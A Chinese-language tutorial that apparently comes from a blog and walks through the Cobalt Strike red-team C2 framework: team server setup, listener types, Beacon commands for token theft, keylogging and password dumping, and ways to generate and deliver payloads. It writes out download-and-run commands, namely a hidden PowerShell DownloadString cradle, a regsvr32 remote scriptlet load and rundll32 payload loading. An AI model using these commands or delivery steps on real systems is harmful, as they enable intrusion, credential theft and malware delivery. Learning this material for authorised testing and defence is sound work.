Cobalt Strike 完全指南从基础概念到实战操作,全面掌握红队标准 C2 框架
(简称 CS)是一款业界领先的后渗透测试(Post-exploitation)C2 框架。它最初由 Raphael Mudge 以 Armitage 的衍生项目形式开发,后来演变为独立产品,目前由 HelpSystems(现 Fortra)进行商业化运营和维护。在安全行业中,CS 被广泛认可为**红队行动(Red Team Operations)**的标准工具之一。无论是 APT 模拟、内网横向移
网盘下载链接 提取码: bndc
一、Cobalt Strike 简介
Cobalt Strike(简称 CS)是一款业界领先的后渗透测试(Post-exploitation)C2 框架。它最初由 Raphael Mudge 以 Armitage 的衍生项目形式开发,后来演变为独立产品,目前由 HelpSystems(现 Fortra)进行商业化运营和维护。
在安全行业中,CS 被广泛认可为**红队行动(Red Team Operations)**的标准工具之一。无论是 APT 模拟、内网横向移动研究,还是授权的渗透测试项目,CS 都是首选框架。
发展历程
| 版本阶段 | 关键变化 |
|---|---|
| Armitage 时期 | 基于 Metasploit Framework 的图形化前端 |
| CS 1.x / 2.x | 独立框架雏形,引入 Beacon 概念 |
| CS 3.x | 团队协作功能成熟化,Malleable C2 配置 |
| CS 4.x / 4.5+ | External C2、Beacon BOF、跨平台支持增强 |
| 当前版本 | 持续迭代中,官方文档地址:cs.help |
学习资源:Cobalt Strike 的官方文档非常详尽,覆盖了从安装部署到高级用法的所有内容。强烈建议在学习过程中随时查阅官方文档作为权威参考。
二、为什么有 Cobalt Strike?
市面上 C2 框架不少,为什么 CS 能脱颖而出成为行业标杆?核心原因在于以下三个方面:
1. 团队协同作战能力
CS 从设计之初就是为多人协作而构建的。TeamServer 架构允许多个操作员同时连接到同一个控制端,共享目标信息、会话状态和操作记录。这在大型红队项目中至关重要——一个人负责初始入侵,另一个人做内网横向,第三个人做权限维持,彼此之间可以无缝衔接。
2. 主流 C2 工具定位清晰
| 工具 | 定位 | 特点 |
|---|---|---|
| Metasploit Framework | 漏洞利用框架 | 强大的 exploit 库,适合打点阶段 |
| Cobalt Strike | 后渗透 C2 框架 | 稳定的 Beacon 通信,丰富的后渗透能力 |
| Empire / Covenant | 开源替代品 | 免费但稳定性与生态不如 CS |
| Sliver | 新晋 Go 语言框架 | 跨平台好,社区活跃度增长中 |
简单来说:MSF 负责把门踹开,CS 负责进去之后的一切操作。
⚠️ 合法使用声明:本文所有内容仅供学习和授权的安全测试使用。未经授权对任何系统使用 Cobalt Strike 属于违法行为。请务必遵守相关法律法规。
三、目录结构详解
| 目录/文件 | 作用 |
|---|---|
| logs/ | 存储 TeamServer 运行日志和操作记录 |
| resources/ | 存放模板文件、默认配置等资源 |
| scripts/ | AgScript 脚本目录,用于自动化扩展 |
| teamserver | Linux 服务端启动脚本(核心入口) |
| cobaltstrike.jar | Java 主程序包(包含服务端+客户端) |
关键文件说明:
cobaltstrike.jar是整个系统的核心,所有的服务端逻辑、客户端 UI、Beacon 代码生成都封装在这一个 JAR 包里。teamserver是最常用的启动入口。
四、安装与运行
Cobalt Strike 采用**客户端-服务端(Client-Server)**架构,需要分别启动两个组件:
4.1 服务端(TeamServer)- Linux 环境
TeamServer 必须运行在 Linux 系统上(推荐 Kali、Ubuntu 或 CentOS):
# 基本语法
./teamserver <你的IP> <密码> [配置文件]
# 示例
./teamserver 192.168.1.100 mypassword
# 使用自定义 Malleable C2 配置
./teamserver 192.168.1.100 mypassword ./myprofile.profile
启动参数说明:
<你的IP>— TeamServer 监听的 IP 地址(通常填公网 IP 或 VPS IP)<密码>— 客户端连接时需要使用的认证密码[配置文件]— 可选,指定 Malleable C2 Profile 文件路径
⚠️ 前置条件:确保已安装 Java 11 或更高版本(推荐 JDK 11)。可以使用
java -version检查当前环境。
4.2 客户端(Client)- Win / Linux
客户端可以运行在 Windows 或 Linux 上:
# Windows 下双击 cobaltstrike.bat
# Linux 下启动图形客户端:./cobaltstrike
# 连接时填写:
# Host: TeamServer 的 IP | Port: 默认 50050 | Password: 启动时设置的密码
五、菜单栏功能一览
成功连接 TeamServer 后,主界面顶部菜单栏包含几乎所有核心功能的入口:
| 菜单项 | 功能说明 |
|---|---|
| Cobalt Strike | 全局设置、监听器管理、VPN 接口、版本信息 |
| View | 视图管理(应用程序日志、目标列表、下载记录等) |
| Attacks | 攻击模块(Web 驱动攻击、钓鱼套件、HTML 应用打包) |
| Reporting | 报告生成(活动报告、主机报告、导出数据) |
| Help | 帮助文档和系统信息 |
重点子菜单说明
- Cobalt Strike → Listeners — 监听器是 Beacon 回连的核心配置
- Attacks → Packages — 生成各类可执行木马的入口(exe、PowerShell、DLL 等)
- View → Applications / Targets / Event Log — 最常用的视图面板
六、监听器详解(Listeners)
监听器定义了 Beacon 与 TeamServer 之间的通信方式,CS 支持多种协议类型以适应不同的网络环境和对抗场景:
HTTP 监听器
最常用的监听类型,通过 HTTP 协议进行通信。流量特征相对明显,但在配合 Malleable C2 Profile 后可以进行较好的伪装。
常用配置项:
- Port: 监听端口(通常使用 80、443、8080 等常见端口)
- Host: 回连地址(域名或 IP)
- Profile: 关联的 Malleable C2 Profile
HTTPS 监听器
基于 SSL/TLS 加密通信,安全性更高。需要配置证书(自签名或合法证书均可)。
DNS 监听器
通过 DNS 查询实现隐蔽通信,适合受限网络环境。需要在域名侧配置 NS 记录指向 TeamServer。特点是流量极小且难以被传统检测手段发现,但速度较慢。
SMB 监听器
使用命名管道(Named Pipe)进行 Peer-to-Peer 通信,常用于内网环境中 Beacon 之间的链式跳转(Pivot),不直接暴露给外网。
TCP 监听器
原始 TCP Socket 通信,无任何协议伪装。适用于调试或特定场景下使用。
选择建议:初学阶段建议先掌握 HTTP/HTTPS 监听器的使用。实际红队行动中通常会组合使用多种监听器:外部用 DNS/HTTPS 入场,内网 SMB Pivot 横向,形成多层次的 C2 通道。
七、Beacon 核心命令
Beacon 上线后,可以通过 Beacon Console 执行大量命令。这些命令是 CS 最核心的操作接口:
7.1 信息收集类
| 命令 | 功能描述 |
|---|---|
| ps | 列出目标主机上运行的进程 |
| net view | 查看域内计算机列表 |
| net computers | 枚举域内所有计算机 |
| net group | 查看域用户组信息 |
| net localgroup | 查看本地组信息 |
| net share | 列出共享文件夹 |
| drives | 查看磁盘分区 |
| ipconfig / ifconfig | 查看网卡和网络配置 |
7.2 文件操作类
| 命令 | 功能描述 |
|---|---|
| upload | 上传文件到目标主机 |
| download | 从目标主机下载文件 |
| ls / dir | 列出当前目录文件 |
| cd | 切换工作目录 |
| timestomp | 修改文件时间戳(反取证) |
| cat / type | 读取文件内容 |
7.3 令牌与权限操作
| 命令 | 功能描述 |
|---|---|
| steal_token | 窃取指定进程的访问令牌 |
| runasuser <domain\user> | 以其他用户身份运行命令 |
| rev2self | 恢复原始令牌 |
| getsystem | 尝试提权至 SYSTEM 权限 |
| make_token | 创建新的令牌凭据 |
7.4 内网穿透与代理
| 命令 | 功能描述 |
|---|---|
| socks | 开启 SOCKS4/5 代理通道 |
| socks stop | 关闭代理通道 |
| portfwd <本地端口> <目标IP> <目标端口> | 端口转发 |
| rportfwd | 反向端口转发 |
7.5 其他高频命令
shell <cmd>— 在目标上执行任意系统命令(CMD)powershell <cmd>— 通过 PowerShell 执行命令run <program>— 在目标上运行程序runu <program>— 在指定进程上下文中运行程序keylogger— 启动键盘记录器screenshot / screenwatch— 截屏 / 实时屏幕监控hashdump— 导出系统哈希值(需 SYSTEM 权限)logonpasswords— Mimikatz 抓取明文密码和哈希
⚠️ 注意:Beacon 命令分为同步执行(如
shell)和异步执行(如ls)。异步命令会在下一次 Beacon 回连时返回结果。理解这一点对于判断操作是否成功非常重要。
八、木马生成与上线方式(重点)
这是整个 CS 使用流程中的关键环节——如何生成能够获得目标主机控制权的 Payload(木马)。CS 提供了多种灵活的上线方式,适应不同的投递场景。
8.1 生成前的准备
在生成任何 Payload 之前,需要完成以下准备工作:
- 创建监听器:进入 Cobalt Strike → Listeners → Add,配置好 HTTP/HTTPS/DNS 等监听器
- 确认回连地址:确保你的 TeamServer IP 或域名可以被目标主机访问
- 选择合适的架构:根据目标系统选择 x86(32位)或 x64(64位)
8.2 Windows 可执行文件(EXE)上线
这是最直接的上线方式,生成一个独立的 exe 文件,目标运行即可上线。
操作步骤:
- 点击菜单
Attacks → Packages → Windows Executable - 选择监听器(Listener)
- 选择架构:x86 用于 32 位系统,x64 用于 64 位系统
- 点击 Generate 保存 exe 文件
生成的 exe 可以进一步通过捆绑、加壳、签名等方式进行免杀处理。
8.3 PowerShell 脚本上线
PowerShell 方式不需要落地文件,直接在内存中加载执行,具有更好的隐蔽性,是目前比较主流的方式之一。
操作步骤:
- 点击菜单
Attacks → Packages → PowerShell Shellcode - 选择监听器和架构
- 点击 Generate,会输出一行 PowerShell 命令
# 生成的典型 PowerShell 命令示例
powershell -nop -w hidden -c "IEX ((New-Object Net.WebClient).DownloadString('http://你的IP:端口/a'))"
也可以使用 Attacks → Web Drive-by → Scripted Web Delivery 来生成一键执行的 PowerShell 命令,这种方式更加简洁。
8.4 HTML Application(HTA)上线
HTA 文件本质上是 HTML + VBScript/JavaScript 的混合体,Windows 会使用 mshta.exe 来解析执行它。常用于钓鱼邮件附件或恶意网页挂马场景。
操作步骤:菜单 Attacks → Packages → HTML Application 生成 HTA 文件,配合社会工程学投递给目标。
8.5 DLL 动态库上线
DLL(Dynamic Link Library)是一种特殊的 Payload 形式。它本身不能独立运行,需要被其他程序调用加载(如 rundll32.exe、regsvr32.exe)。
优势:DLL 白名单绕过效果好,很多安全软件不会拦截系统进程加载 DLL 的行为。
操作步骤:菜单 Attacks → Packages → Dynamic-link Library 生成 DLL 文件。
# 目标机上手动加载 DLL 的方式
rundll32.exe payload.dll,StartW
# 或使用 regsvr32 加载(经典白名单利用方式)
regsvr32.exe /s /u /i:http://你的IP:端口/payload.sct scrobj.dll
8.6 Web Delivery(网页投递)
这是最便捷的方式之一——CS 自动搭建一个临时 Web 服务,目标只需在浏览器或命令行中访问对应 URL 即可上线,整个过程无需落地任何文件。
操作步骤:
- 点击
Attacks → Web Drive-by → Scripted Web Delivery - 选择类型:PowerShell / HTA 等
- 选择监听器和端口
- 点击 Launch 后会自动生成一条命令
# 生成的命令类似这样:
powershell -nop -w hidden -c "IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.100:80/a'))"
# 目标执行这条命令即会上线,无需任何文件落地
8.7 各种上线方式对比
| 方式 | 是否落盘 | 隐蔽性 | 适用场景 |
|---|---|---|---|
| EXE | 是(落盘) | 较低 | 直投、捆绑软件 |
| PowerShell | 否(内存) | 中等 | 远程执行、脚本注入 |
| Web Delivery | 否(内存) | 中等 | 快速测试、演示 |
| DLL | 可能落盘 | 较高 | 白名单绕过、持久化 |
| HTA | 可能落盘 | 中等 | 钓鱼邮件、网页挂马 |
🔒 安全提醒:以上所有 Payload 生成和投递技术仅应在合法授权的渗透测试环境中使用。在实际攻防演练中,请严格遵守授权范围和操作边界,避免造成不必要的业务影响。
九、Staged vs Stageless(重要概念)
在生成 Payload 时,你会遇到两个非常重要的概念:Staged(分阶段) 和 Stageless(无阶段)。理解它们的区别对于选择正确的 Payload 类型至关重要。
什么是 Staged(分阶段)?
Staged Payload 采用两步走策略:
- 第一阶段(Stager):一个小型的 shellcode(通常只有几百字节),负责建立基本的网络通信能力
- 第二阶段(Stage):Stager 连接成功后,从服务器下载完整的 Beacon 代码并加载执行
类比理解:Stager 就像一支侦察小分队,先摸进去探路;确认安全后再呼叫大部队(完整的 Beacon 代码)进场。
什么是 Stageless(无阶段)?
Stageless Payload 将完整的 Beacon 代码一次性打包进最终文件中。目标执行后直接在内存中加载完整的 Beacon,无需再从服务器下载任何东西。
类比理解:就像一支装备齐全的特种部队,一次空投到位,立即投入战斗。
核心差异对比
| 对比维度 | Staged(分阶段) | Stageless(无阶段) |
|---|---|---|
| 文件体积 | 很小(几KB ~ 几十KB) | 较大(几MB) |
| 网络请求 | 需要额外下载 Stage | 无需额外下载 |
| 离线可用性 | 离线无法完成上线 | 离线也能执行(联网后才回传) |
| 检测风险 | Stager 可能被拦截,Stage 传输过程也可能被捕获 | 大文件更易触发静态扫描 |
| 适用场景 | 网络畅通、需要小体积的场景 | 网络受限、需要稳定上线的场景 |
如何选择?:推荐优先使用 Stageless。原因很简单:不需要额外的网络请求就能完成完整加载,可靠性更高。虽然体积更大,但在当前的网络环境下这通常不是瓶颈。Staged 更适合那些对文件大小极其敏感的特殊场景。
在 CS 4.5 及以后的版本中,Attacks → Packages 下的大多数生成选项默认都是 Stageless 格式的。
十、总结与学习建议
知识体系总览
| 模块 | 核心要点 | 掌握程度 |
|---|---|---|
| 基础认知 | CS 定位、发展历史、与其他工具的关系 | 理解 |
| 环境搭建 | TeamServer 启动、客户端连接、Java 环境 | 熟练操作 |
| 界面熟悉 | 菜单栏、视图面板、事件日志 | 熟练操作 |
| 监听器 | HTTP/HTTPS/DNS/SMB/TCP 各类型配置 | 重点掌握 |
| Beacon 命令 | 信息收集、文件操作、令牌、代理等 | 重点掌握 |
| Payload 生成 | EXE / PS / DLL / HTA / Web Delivery | 核心技能 |
| Staged vs Stageless | 原理差异、选择策略 | 深入理解 |
下一步学习方向
- Malleable C2 Profile — 学习编写和定制流量伪装规则,让 C2 流量看起来像正常流量
- AgScript 脚本开发 — 使用 CS 自带的脚本语言实现自动化任务
- BOF(Beacon Object File) — 编写轻量级的 C 语言扩展插件
- 内网横向实战 — 结合域渗透知识,在真实内网环境中练习 CS 的横向移动技巧
- 免杀与对抗 — 学习 Payload 免杀技术以及 EDR 对抗方法
- External C2 — 了解如何通过第三方中转来隐藏真实的 C2 服务器
🔒 最后强调:技术本身是中立的,但使用技术的人决定了它的性质。作为一名网络安全从业者或学习者,请始终保持职业操守和法律意识。只有在获得明确授权的情况下才能开展渗透测试,切勿将所学用于非法用途。让我们共同维护网络空间的安全与秩序。
本文仅供学习交流,禁止用于非法用途 | 请遵守当地法律法规
更多推荐
所有评论(0)